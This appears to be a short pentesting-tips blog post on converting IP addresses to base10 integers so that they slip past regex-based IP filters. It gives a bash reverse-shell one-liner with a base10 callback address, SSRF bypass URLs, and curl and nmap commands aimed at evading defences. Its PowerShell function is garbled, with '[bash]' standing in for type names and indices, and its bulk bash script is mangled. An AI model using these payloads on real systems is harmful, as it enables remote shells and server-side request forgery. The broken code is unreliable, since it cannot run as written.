Listen to this Post
If you aren’t familiar with base10 IP addresses and you’re learning IT security/pentesting, understanding this technique is highly useful. Converting an IP address to base10 removes the dots (.), which can help bypass regex filters in web applications.
Alias Setup in `.bashrc`
Add this alias to your `~/.bashrc` file:
alias ip_to_base10='function _ip_to_base10() { local ip=$1; local a b c d; IFS=. read -r a b c d <<< "$ip"; echo $(( (a << 24) + (b << 16) + (c << 8) + d )); }; _ip_to_base10'
Then reload your `.bashrc`:
source ~/.bashrc
Usage Example
Convert `1.1.1.1` to base10:
ip_to_base10 1.1.1.1
Output: `16843009`
Why This Matters in Pentesting
- Bypasses Regex Filters: Some web apps block IPs containing dots (
1.1.1.1), but may allow the base10 equivalent (16843009). - Obfuscation: Helps evade simple pattern-matching defenses.
- Callback Injection: Useful when injecting IPs in payloads (e.g., SSRF, reverse shells).
You Should Know: Practical Use Cases & Commands
1. Reverse Shell Payload with Base10 IP
Instead of:
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
Try:
bash -i >& /dev/tcp/16843009/4444 0>&1
2. SSRF Exploitation
If a web app blocks `http://1.1.1.1`, try:
http://16843009
3. Converting Back from Base10 (Linux)
Need the original IP? Use this Python one-liner:
python3 -c "import socket, struct; print(socket.inet_ntoa(struct.pack('!L', 16843009)))"
Output: `1.1.1.1`
4. Bulk IP Conversion (Bash Script)
Convert multiple IPs at once:
!/bin/bash for ip in "1.1.1.1" "8.8.8.8" "192.168.1.1"; do echo "$ip -> $(ip_to_base10 $ip)" done
5. Windows Equivalent (PowerShell)
function ConvertTo-Base10IP {
param ([bash]$ip)
$octets = $ip -split '.'
[uint32]([bash]$octets[bash] -shl 24) + ([bash]$octets[bash] -shl 16) + ([bash]$octets[bash] -shl 8) + [bash]$octets[bash]
}
ConvertTo-Base10IP "1.1.1.1"
6. Network Scanning with Nmap (Base10 Target)
Scan a base10-converted IP:
nmap -Pn 16843009
7. Curl Request with Base10 IP
Bypass filters in web requests:
curl http://16843009
What Undercode Say
This technique is a clever way to evade basic security filters, especially in web apps that rely on regex-based IP validation. While not foolproof, it’s a valuable trick in a pentester’s arsenal. Always test in legal environments and combine it with other obfuscation methods for better results.
Expected Output:
1.1.1.1 -> 16843009 8.8.8.8 -> 134744072 192.168.1.1 -> 3232235777
References:
Reported By: Activity 7317864128159649794 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
